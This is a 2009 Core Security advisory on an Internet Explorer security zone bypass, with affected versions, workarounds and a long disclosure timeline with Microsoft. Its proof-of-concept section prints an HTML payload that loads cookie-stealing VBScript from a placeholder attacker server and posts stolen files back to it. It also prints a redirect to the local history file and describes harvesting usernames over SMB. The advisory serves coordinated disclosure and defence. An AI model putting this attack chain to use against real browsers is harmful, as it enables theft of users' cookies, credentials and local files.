Title: Internet Explorer Security Zone restrictions bypass
Advisory ID: CORE-2008-0826
Advisory URL: http://www.coresecurity.com/content/ie-security-zone-bypass
Date published: 2009-06-09
Date of last update: 2009-06-09
Vendors contacted: Microsoft
Release mode: Coordinated release
Internet Explorer (IE) is the most widely used Web browser, with an estimated count of 1,100 million users
according to a worldwide survey conducted and published in 2008
This advisory describes a vulnerability that provides access to the contents of any file stored in the
local filesystem of user's machines running vulnerable versions of IE.
Exploitation of the vulnerability relies solely on the ability for a would-be attacker to provide
malicious HTML content from a website and to predict the full pathname for the file that will be used to
cache it locally on the victim's system. If the entire path name can be predicted, the attacker can cause a
redirection to the locally stored file using an URI specified in UNC form and force the local content
to be rendered as an HTML document, which will permit to run scripting commands and instantiate
certain ActiveX controls.
As a result of a successful attack, security or privacy-sensitive information can be obtained by an
attacker including but not limited to user authentication credentials for any web application domain,
HTTP cookies, session management data, cached content of web applications in different domains and
any files stored on local filesystems.
The bug is related to a lack of enforcement of security policies assigned to URL Security Zones
 when content from the corresponding zone is loaded and rendered from a local file.
These issues have been found in the way that security policies are applied when a URI is specified in the UNC form
When a remote site attempts to access a local resource,
IE will fail to enforce the Zone Elevation restrictions.
When browsing a remote site, IE will not properly enforce the
Security Zone permissions, allowing a site belonging to
a less secure zone to be treated as belonging to a more
- Internet Explorer 5.01 Service Pack 4
- Internet Explorer 6.0
- Internet Explorer 6.0 Service Pack 1
- Internet Explorer 7 (not exploitable with Protected mode on, available on Vista)
- Microsoft Windows 2000 up to and including Service Pack 4
- Microsoft Windows Server 2003 up to and including Service Pack 2
- Microsoft Windows XP up to and including Service Pack 3
- Windows Vista up to and including Service Pack 1 (not exploitable with IE running with Protected mode on)
- Windows Server 2008
- Internet Explorer 8 under Windows 2000/2003/XP/Vista
Vendor Information, Solutions and Workarounds
The following workarounds can prevent exploitation of the vulnerability:
Use Internet Explorer's Protocol Lockdown feature control to restrict the "file"
protocol to prevent HTML from UNC path to run script or ActiveX controls.
Set the Security Level setting for the Internet and Intranet Zones to High to prevent IE from
running scripts or ActiveX controls.
- Manually disable Active Scripting for the Internet and Intranet Zone with a custom security setting.
- Only run IE in Protected Mode if it is available on the operating system.
- Use a different web browser to navigate untrusted web sites.
Additionally, although disabling file sharing if it is not necessary and filtering outbound SMB connections
at the endpoint or network perimeter may not prevent exploitation it is generally a good security measure
to prevent disclosure of sensitive information such as valid usernames of endpoint users.
Microsoft has issued a patch to fix the vulnerability and a detailed description of how to implement
the workarounds on IE. It is available as
Security Bulletin http://go.microsoft.com/fwlink/?LinkID=150860.
Microsoft's Research and Defense blog has further
discussion about the vulnerability, workarounds and mitigations
This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Consulting Services (SCS).
Additional research was made by Federico Muttis from Core Security Exploit Writers Team (EWT).
Technical Description / Proof of Concept Code
Internet Explorer uses a feature known as URL Security Zones
, which defines a set of privileges
for Web sites and applications depending on their apparent level of trustworthiness.
The zones available in the product include:
- Internet Zone: For Web sites on the
Internet that do not belong to another zone.
- Local Intranet Zone: For content
located on an organization's intranet.
- Trusted Sites Zone: For content located on
Web sites that are considered more reputable or trustworthy than
other sites on the Internet.
- Restricted Sites Zone: For Web sites that
contain content that can cause (or have previously caused) problems
- Local Machine Zone: This is an implicit zone
for content that exists on the local computer and it is not
directly configurable through Internet Explorer security options
by the user.
Internet Explorer users or Administrators can assign specific websites or domains to any of the
available zone except the Local Machine Zone. The ability for a given website to perform
security-sensitive operations on the web browser is determined by
the Security Level of the zone to which the site was assigned.
Each zone can be set to one of three preset security levels (High, Medium-High, Medium) or to a
custom level with security policy settings specified by the user or administrator.
By default, all websites that are determined not to be in the Local Intranet zone and are not
explicitly listed in the Restricted Sites or Trusted Sites zones are assigned
the Internet Zone which has a default security setting of Medium-High.
Thus, for most IE users the security-sensitive actions that a browser is allowed to perform while
connected to an untrusted Internet site are those specified by the security policies of the
Internet Zone at the Medium-High security level.
There are some issues in the way IE enforces zone security policies when an URI is specified in
the UNC form (i.e.,
\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE). In this case, Internet Explorer
classifies as Internet Zone any UNC address pointing
to an IP address including
As a result, any website (belonging to any security zone) can address
and redirect the navigation flow to files stored in
If an attacker controlling a website finds a way to store HTML with any valid scripting code the local file system of the visitor and then redirects the browser's navigation flow that local file
this code will be loaded and rendered as if it belonged to the
Internet Zone but since the file containing it is stored in
\\127.0.0.1 it would also be able to access
any other file on the visitor's file system.
The problem is derived from the sequence of actions performed by Internet Explorer to determine the
content-type of the content to be loaded and the appropriate way to render it. The algorithm followed
for this purpose is described in Microsoft's Knowledgebase article titled
MIME Type Detection in Internet Explorer
 and implemented in the
In the following section, proof of concept code is provided to demonstrate the problem using the local storage
used by Internet Explorer to store the user's browsing history to deliver HTML with scripting code and force
IE to render it. This
analysis is valid for any Windows NT based operating system but should be
slightly modified to run under Windows Vista. It takes advantage
of the following features:
The IE user's browsing history is compounded of
different files and folders. One of these files is named
index.dat, and is usually located at:
C:\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat.
Although the format of this file is not entirely text, IE will store every visited URL including any parameters in the
query string in plain text.
Although the aforementioned folder cannot be directly browsed using Windows Explorer or Internet Explorer,
it can be browsed and viewed by referring to the same folder using the UNC notation:
\\[COMPUTERNAME|127.0.0.1]\C$\Documents and settings\USERNAME\Local settings\History\History.IE5.
There are some HTML tags which allow to embed contents from external
files and treat them with a specific format disregarding the file
extension. For example, the HTML
<object data="index.dat" type="text/html" width="100%" height="50"></object>
It allows to set the MIME type (in the type attribute) of an externally
referenced file in the data attribute which will be loaded as an object.
Internet Explorer behaves in a slightly different way when displaying a page directly
rather than displaying that page inside an HTML
<frame>tag. For example,
a page containing an HTML
tag like the one shown below will prompt the user to accept the download of file being referenced
inside if loaded directly but it will be automatically downloaded and rendered according to the
specified MIME type if the
page is loaded inside an HTML
Internet Explorer will determine the security zone of an UNC address as belonging to:
The Internet Zone if the path refers to the target using an IP
address, for example
The Local Intranet Zone if the path refers to the target using a NetBIOS name, for example
- The Internet Zone if the path refers to the target using an IP
Proof of Concept Code
The following proof of concept code demonstrates that by enticing a user to do a single click on a malicious
website it is possible to retrieve every HTTP cookie from the unsuspecting victim user.
The PoC uses VBScript to show the ability to steal sensitive information from any local files
with either text or binary contents.
There are several steps involved in order to make the attack path clear.
The following diagram shows the files involved and the calling order.
Details concerning the relationship between these files will be explained
along the walkthrough:
Everything starts when the victim user points her browser to the
http://[EVIL SERVER IP ADDRESS]/evilsite.htm
This page will trigger SMB requests against our evil server to extract
USERNAME. The script named
captureSMB.pl running in the server will
be the one in charge of processing these requests to create the
index.dat.english.pl file which will be
used later to redirect the victim's browser to the locally stored index.dat file.
However, the main objective of this page is to set (when redirecting to the
next page) HTML code inside the victim's history index.dat file. The HTML
source code to accomplish such tasks would look very much like the following:
In turn, the next files in the redirecting chain
setFirstScript.htm ) will also be used to
accomplish the same second objective as the starting page.
As stated before this will result in the victim's
index.dat history file storing the HTML
code passed inside the query string in plaintext. The HTML code stored
up to this point would look like this:
<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP ADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'> <input type='hidden' name='data' id='data'> <input type='submit' value='Submit'> </form> <script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ stealcookies.vbs'></script> <script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ scripty.vbs'></script>
At this point, the victim's browser will be served with
setFirstScript.htm. This page will just
redirect the browser to another page
which simply defines the frames where the last page
index.dat file will be
The HTML code used for loading the index.dat file and rendering it
as HTML code is just a simple HTML
<object data="index.dat.english.pl" type="text/html" width="100%" height="50"></object>
As can be seen, this is the file we generated in the first step based
upon the actual
USERNAME we obtained.
In turn, this file will just redirect the request to the
Status: 302 Found Content-type: text/html Location: file://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat
This indirection level is required to avoid Internet Explorer from
prompting the user to download the target file.
If loaded, the file will execute under the Internet
Zone with the access rights of such zone but, given that
the file is served from the local disk, with the ability to read any file in
the local drive. However, success of the attack will depend on the ability to
obtain or guess the right username as explained later.
By taking advantage of these sequence of actions, the script named
scripty.vbs will read the victim's
index.dat located at
C:\Documents and settings\USERNAME\Cookies\
which indexes the whole set of HTTP cookie files managed by IE and send it
back to the malicious server using an HTML
<form> we have set previously.
At the server side, the PERL script named
- process the received file, and store it in the server;
create the script named
considering the cookies filenames gathered from the stolen file;
redirect the victim's browser back to the
This time, when the victim's history
index.dat file is rendered again,
stealcookies.vbs will be
loaded. This script will read every single cookie file the user has
stored in the aforementioned Internet Explorer cookie's folder and
will send the contents back to the server using the same HTML
<form> used before. On the server side
the one in charge of processing this data will be the Perl script
newCGI.pl. This time, it will:
Process the received file, and store it in the server under
the name of
- Redirect the victim's browser back to this file.
Obtaining the right USERNAME
To get the right username, we can take advantage of some other
idiosyncrasies of Internet Explorer. If it is possible to make
outbound SMB requests to an untrusted web server we can leverage
that to include inside the main page some references to inexistent
resources in our server. The client will attempt to establish a SMB
connection against it from where the
could be obtained as well as some other useful data such as the
COMPUTERNAME or the
Our proof of concept contemplates 2 possibilities:
The victim's machine is able to establish a connection to the
port 445 (NetBIOS over TCP/IP) on the malicious server in which case
USERNAMEcan be obtained to
build the right UNC path to the
\\127.0.0.1\C$\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat
The port 445 is not allowed for outbound connections in which case
the code will simple try to guess the right username using common names such
as Administrator to build an UNC path like the following:
\\127.0.0.1\C$\Documents and settings\Administrator\Local settings\History\History.IE5\index.dat
In both cases, the file will be rendered as belonging to the
Proof of Concept Files
The Proof of Concept can be downloaded from
This would be a package with the following files:
evilsite.htm: The main page, which shots the SMB requests and
setForm.htmpassing, as part of the query string,
HTML code to be set in the history
setForm.htm: This page acts as a bridge (receives the evil scripting
code as a query string parameter) and redirects to
passing HTML code to be set in the history
setSecondScript.htm: This page acts as a bridge (receives the evil
scripting code as a query string parameter) and redirects to
passing HTML code to be set in the history
setFirstScript.htm: This page acts as a bridge (receives the evil
scripting code as a query string parameter) and just redirects to
frameset.htm: This page defines the frames where the page trying to
index.datfile will be loaded into.
stealCookies.htm: Same as frameset.htm, this page defines the frames
where the page trying to access the
index.datfile will be loaded into.
object.htm: The page to be loaded in
It covers the test cases 1 and 2 explained above in this document.
captureSMB.pl: This script must be running in the example server.
It will be listening for SMB requests, and when they occur, will create a pair
index.dat.[LANG].plfiles, attempting to cover a couple of Windows OS languages.
newCGI.pl: This file will handle the files received from scritpy.vbs,
generate the script named
stealcookies.vbsand, in a subsequent call,
will receive and store the stolen cookies.
scripty.vbs: A script file loaded by the HTML code written in
index.datfile. It will send the victim's
index.datfile back to the server.
index.dat.english.default.pl: A redirect to the file assuming
the user Administrator under an English language Windows version.
index.dat.spanish.default.pl: A redirect to the file assuming
the user Administrador under a Spanish language Windows version.
Core Security Technologies notifies the Microsoft Security Response Center (MSRC)
that a vulnerability has been found in
Internet Explorer (IE). Core sends a draft security advisory with
technical details and PoC files and announces its initial plan to
publish the advisory on December 1st, 2008.
The MSRC acknowledges notification.
MSRC states that it is currently investigating the reported issue.
MSRC announces the investigation was completed.
The flaw can be reproduced by the vendor and it is considered
a bulletin class issue.
MSRC announces that the vendor will not be able to hit a December
release date due to the mandatory quality test cycle required
for IE updates.
Core asks MSRC for an estimated date to fix these issues.
Core requests an answer to the previous mail and also details about:
- the root cause of the problem,
- the list of affected platforms, and
- the severity rating Microsoft has assigned to the bug.
MSRC responds that patches to IE ship every two months and the
next available ship date will be February 10th.
The case is currently rated as an Important class
Information Disclosure vulnerability.
Vendor provides a list of affected components and platforms.
The MSRC was able to reproduce this issue on all IE versions
with the following exceptions: IE7 and IE8 in Windows Vista
when Protected Mode is ON. In spite of that MSRC does not
include IE8 in list of affected components because it
is still a beta product.
Core asks MSRC if it is still on track to release patches
on February 10th, 2009.
MSRC responds that the out-of-band fix released in
took a lot of the resources that were assigned to
February's release schedule and will not be able to meet
the February release date. MSRC informs the next available
release date would be April 14th, 2009.
Core asks MSRC if it is still on track to release fixed
versions on April 14th.
MSRC responds the product team addressed this issue in IE8
with the plan to port that code fix down-level (IE7, IE6 and IE5).
In order to accomplish these fixes in the previous IE versions,
MSRC informs Core the first available scheduled release in
the future will be in June, 2009.
Core indicates that the previous email from MSRC is
quite confusing. It seems to indicate that the vulnerability
is already fixed in IE8 whereas at the time of the original
report IE8 was still a beta product and there was not
any communication from MSRC indicating whether the problem
was going to be fixed nor a tentative date for such fix.
Core asks MSRC to confirm that the vulnerability was indeed
fixed in the released version of IE8 while two consecutive
tentative released date for patches to the officially confirmed
vulnerable versions IE5 to IE7 have been missed. In the case
of such confirmation Core also asks clarification about
Microsoft's previously stated policy of releasing fixes for
all vulnerable versions at the same time as indicated in
the emails exchanged during the reporting process of a
IE vulnerability closely related to this one that Microsoft
catalogued as an Outlook Express/Windows Mail bug
. Core indicates that it
considers that an 8-month release cycle is well beyond the
reasonable time frame to issue fixes for a bug that it considered
rooted at the same cause of a previously reported one, for which
differences in its technical analysis were not resolved
because Microsoft repeatedly ignored request for a technical
root cause analysis. Therefore, pending answers to the above
questions and specific technical details about the root cause
of the problem and when, how and which platforms have the
bug fixed Core will proceed with publication on April 14th
as previously agreed. In the meantime Core will further
investigate the issue in order to provide customers, ISVs
and the security community all the necessary information to
assess their risk and independently devise fixes, workarounds
Core requests an answer to the previous mail. Core is on track
to publish the security advisory and would like confirmation
that the released version of IE8 fixed the bug.
MSRC notifies Core that the reason why IE8 did ship with this fix
ahead of the down-level versions was because IE8 was already
in-development and it was safer and cleaner to check in this
fix into the existing
development cycle of IE8. MSRC also confirms that the bug is
fixed in the currently released version of IE8 and it is currently
being back-ported to the down-level versions of IE. MSRC indicates
that it does not document security fix changed in the latest
products if the vulnerability continues to exist in down-level
support platforms which helps Microsoft to
"not zero-day the down-level platforms" and gives the opportunity
to provide updates for them. MSRC states that the vendor is
currently in the path to release the update in June and would
appreciate it if it could coordinate the release of Core's advisory
on that same time.
Core notifies that probably the advisory will be released in a
week although the final decision has not been made yet
and that a vendor statement and workarounds would be highly
appreciated. Core is working on the final version of the advisory
and would like to improve the workaround and mitigation sections,
for that purpose it is requesting assistance from the vendor.
Core asks MSRC for mitigation and workarounds for users not
running IE8. It also notifies that upon further research it
found a variation of the original attack that may still compromise
the original release of IE8. Other versions of IE8
(with the same version and build number) do not seem to be
vulnerable to the attack variation. The 'non-vulnerable'
instance of IE8 tested was patched by Windows auto-update
in or around April 7th. Core asks MSRC to confirm whether the
original IE8 release was vulnerable to bug and the bug later
silently fixed by an update shipped through Windows auto-update.
MSRC asks Core more details about the version of IE8
that was successfully compromised by a variation of the original
attack. The MSRC notifies the original attack was
addressed in the RC1 version of IE8 and wants to make sure
there is not an issue with the fix.
MSRC indicates that received verification from the product team
that Protected Mode ON for the Internet Zone does block the
attack in IE7. The vendor states that it is currently investigating
the IE8 specific mitigations. With regards to IE8 the product team
included the fix in RC of IE8 which was released in January and it is
unsure about the differences between vulnerable and non-vulnerable
instances of IE8. The product team is still working on the fixes
for the next release but MSRC would like to make private binaries
available for testing in the event that Core postpones publication
of the advisory. MSRC offers to setup a conference call to discuss
some of the challenges of fixing this bug and why it required
Core Security and the Secure Windows Initiative (SWI) discuss
this issue in a conference call. The vendor states that it
will obtain a list of non-security updates released for IE8 post
RTM and obtain a similar list for Office and Windows since
April 1st. The goal is to understand whether a non-security update
has fixed a security bug. The vendor will also provide the
technical description and the private fixed bits for this
specific issue when available.
Core is going to provide (in the next couple of days) the version
of the IE8 that seems to be affected by this issue, and the
modified PoC that was used to reproduce the problem on IE8.
Core will inform MSRC of publishing date for the corresponding
security advisory when the decision is made.
Core sends technical details, the list of fixes installed on
vulnerable and non-vulnerable systems and modified
Proof of Concept that works on certain versions of IE8 RTM
and does not on others. In both cases the version and build
number are exactly the same. Core have also found that, although
the PoC sent to MSRC in the original report does not work on
IE8 RTM, a variation of it continues to work in certain cases.
Basically, it seems that IE8 RTM prevented code from being
anywhere lower than an 0x4000 offset but if the offending
code is above 0x4000 and not from
it can still be executed.
MSRC notifies there were two updates released at the end of March.
One was a Compatibility View List
 and the
second was an SPAD fix
 that affects Vista
X64 only. Vendor also notifies they are going to investigate whether
this might have impacted the original attack vector. The technical
analysis of the problem determined that the HTML engine checks the
mime type for file it cannot handle and if there is not a match
MIME sniffing is performed without a predetermined hint, unknown
files are treated as HTML due to the redirection and in absence of
a specific content-type MIME-sniffing will end up defaulting to
MSRC sends patched binaries for Vista/IE7. These binaries are the
fix for the first issue submitted by Core and do not fix the
second PoC sent by Core the previous week. MSRT also provides some
workarounds for the first PoC reported.
The IE team has investigated the additional PoC and has determined
that while functionally it appears the same as the original
issue submitted, when debugged the actions taken by the system
are controlled by different functions, and this difference is
significant enough to perform further investigation. The vendor
asks to re-schedules the advisory publication date to June 2009.
MSRC asks additional details about the attack vectors discussed
between Core and the Secure Windows Initiative (SWI) in the last
conference call (16th, April). MSRC indicates that it has
identified two workarounds for the original issue:
Disabling scripting (which is default for Enhanced Security
Configuration on Windows 2003 and Windows Server 2008) and
disabling "Run ActiveX Controls and plugins". The IE team has
investigated the second PoC and determined that the functionality
appears the same but when debugged the actions performed by the
system are different. The differences are considered significant
enough to perform further investigation. MSRC proposes to
release the fix for the issue originally reported in June and
to continue investigation on the second PoC afterwards.
Core responds that, according to the technical information provided
by the IE team it appears that the problem could be exploitable
with any local file loaded through a
redirection and thus defaulting to text/html that is not
explicitly known by the HTML engine (Trident) and for which
IE would end up defaulting to html as hinted. The mention of
specific files during the conference call was just as an example
of a potential vector but not a confirmed exploitation method
that was explicitly discussed.
Core also notifies the advisory publication will be delayed at
least until next Wednesday (April 28th) since it appears that the
bug was not actually fixed properly in IE8 and that new information
has been provided.
Core also suggests some mitigation actions to prevent
the exploitation of this flaw. For example, by explicitly
file://127.0.0.1to a given zone
(i.e. Intranet) and then disabling "Websites in less privileged web
content zone can navigate into this zone" for that zone.
MSRC notifies that it would be possible to bypass the suggested
workaround if a malicious site had its domain name resolve
to 127.0.0.1 since Zone determination does not depend on
Core suggests other possible workarounds that involve
explicitly setting the two UNC forms of targeting the localhost
IP addressing the Internet Zone and setting the security level to
High which seems to be in line with the suggestions from
Microsoft's knowledgebase article about the IE Enhanced
Security Configuration and asks for additional technical
details to clarify the last email from MSRC. Core asks for clarification
about the zone determination algorithm.
MSRC provides further technical analysis, and notifies that some
of the proposed workarounds would work on all affected versions
The vendor asks to re-schedule the advisory publication date
for a coordinated release during the regular June bulletin release
Core responds that it decided to set the publication date for the
security advisory to Tuesday June 9th, 2009. This will give MSFT
the opportunity to ship an official patch for all vulnerable
versions of IE in the next available patch release cycle.
Core also notifies this date is final and that in absence of
an official fix Core will nonetheless publish the security
advisory with all the technical details and information necessary
for third parties to understand the risk and figure out and apply
workarounds or mitigating measures.
MSRC indicates that it would like to set up a conference call to
clarify the concerns about workarounds and to discuss additional
possible mitigation actions.
Core ask for the status of the fix and whether it is on schedule
for the June 9th release, responds that it prefers to keep the
communication process properly documented by e-mail but notifies
that a conference call would be possible if the vendor feels that it
is absolutely necessary or the best way to discuss workarounds
and mitigation actions.
MSRC notifies the fix for the issue submitted in October 2008
is on track to be released on the second Tuesday in June 2009.
Vendor is still determining the best way to address the additional
PoC provided for IE8, and MSRC asks for a conference call to clarify
some confusion of the proposed workarounds and mitigations.
Core notifies the possible timeslot for setting up a conference call
with MSRT would be June 2nd or June 4th. Core also asks if
the vendor is considering the second PoC as a separate vulnerabilities or
just variations on how to exploit the same bug.
MSRC suggests setting up the conference call on June 4th. The vendor
also notifies that during the investigation of the 2nd PoC,
when debugged, the system actions are controlled by different
functions and the difference is significant enough to address the
2nd PoC as a whole.
Core responds it would be available for a conference on June 4th.
Conference call set scheduled.
Conference call attended by MSRC, IE team member,
Core security advisories team and vulnerability
Core sends MSRC notes taken during the conference call. Actions
MSRC to provide workaround and
mitigations and to follow-up on issues demonstrated by the
Core to further investigate
workarounds and mitigations and to provide MSRC the
final draft of the advisory before publication (by Monday).
- MSRC to provide workaround and
MSRC sends notes of the conference call. Official workarounds and mitigating factors to be included in
the Security Bulletin and link the Security Research and Defense blog with additional information.
Core suggests the use of the Protocol Lockdown feature control as possible workaround.
MSRC confirms that Protocol Lockdown is a feasible workaround. Details will be included in the
Security Research and Defense blog.
Final draft of the advisory sent to MSRC.
Core Security Advisory CORE-2008-0826 published.
Internet Explorer 8.0 was officially released at this time leaving the 'beta stage'.
Compatibility View KB968220 - href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d"
SPAD link - http://support.microsoft.com/kb/969058.
CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
About Core Security Technologies
Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.
This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at